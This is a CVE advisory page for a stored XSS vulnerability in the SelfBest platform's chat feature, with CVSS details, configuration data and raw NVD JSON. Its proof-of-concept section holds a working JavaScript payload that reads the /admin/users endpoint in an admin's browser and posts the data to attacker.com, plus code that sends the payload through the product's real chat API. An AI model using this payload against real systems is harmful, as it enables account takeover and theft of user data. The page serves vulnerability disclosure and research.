Security Vulnerability Report
中文
CVE-2025-63416 CVSS 9.1 CRITICAL

CVE-2025-63416

Published: 2025-11-05 19:16:03
Last Modified: 2025-11-07 19:47:41

Description

** exclusively-hosted-service ** A Stored Cross-Site Scripting (XSS) vulnerability in the chat functionality of the SelfBest platform 2023.3 allows authenticated low-privileged attackers to execute arbitrary JavaScript in the context of other users' sessions. This can be exploited to access administrative data and functions, leading to privilege escalation and full compromise of sensitive user data, as demonstrated by the ability to fetch and exfiltrate the contents of the /admin/users endpoint.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:selfbest:selfbest:2023.3:*:*:*:*:*:*:* - VULNERABLE
SelfBest Platform 2023.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63416 PoC - Stored XSS in SelfBest Platform 2023.3 Chat // This PoC demonstrates how to exploit the stored XSS to steal admin data const xssPayload = `<img src=x onerror=" fetch('/admin/users', {credentials: 'include'}) .then(res => res.json()) .then(data => { // Exfiltrate admin data to attacker server fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} }); }); ">`; // Step 1: Send the malicious payload via chat API async function exploitStoredXSS() { const chatApiUrl = 'https://self.best/api/chat/send'; const response = await fetch(chatApiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer ' + getAuthToken() // Low-privilege user token }, body: JSON.stringify({ message: xssPayload, recipient: 'target_user' }) }); return response.json(); } // Step 2: When admin views the chat, the XSS executes and steals data // The malicious script will: // 1. Execute in admin's browser context // 2. Fetch /admin/users with admin's credentials // 3. Exfiltrate the data to attacker's server // Mitigation: Implement proper input validation and output encoding // HTML encode: < > & " ' should be converted to &lt; &gt; &amp; &quot; &apos;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63416", "sourceIdentifier": "[email protected]", "published": "2025-11-05T19:16:02.677", "lastModified": "2025-11-07T19:47:41.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "** exclusively-hosted-service ** A Stored Cross-Site Scripting (XSS) vulnerability in the chat functionality of the SelfBest platform 2023.3 allows authenticated low-privileged attackers to execute arbitrary JavaScript in the context of other users' sessions. This can be exploited to access administrative data and functions, leading to privilege escalation and full compromise of sensitive user data, as demonstrated by the ability to fetch and exfiltrate the contents of the /admin/users endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:selfbest:selfbest:2023.3:*:*:*:*:*:*:*", "matchCriteriaId": "BEFD75F8-8977-44CF-9AF5-8F31DB2C85F3"}]}]}], "references": [{"url": "https://rohitchaudhary045.medium.com/cve-2025-63416-the-admin-panel-heist-stored-xss-to-privilege-escalation-b4c69d8487f1", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://self.best", "source": "[email protected]", "tags": ["Product"]}]}}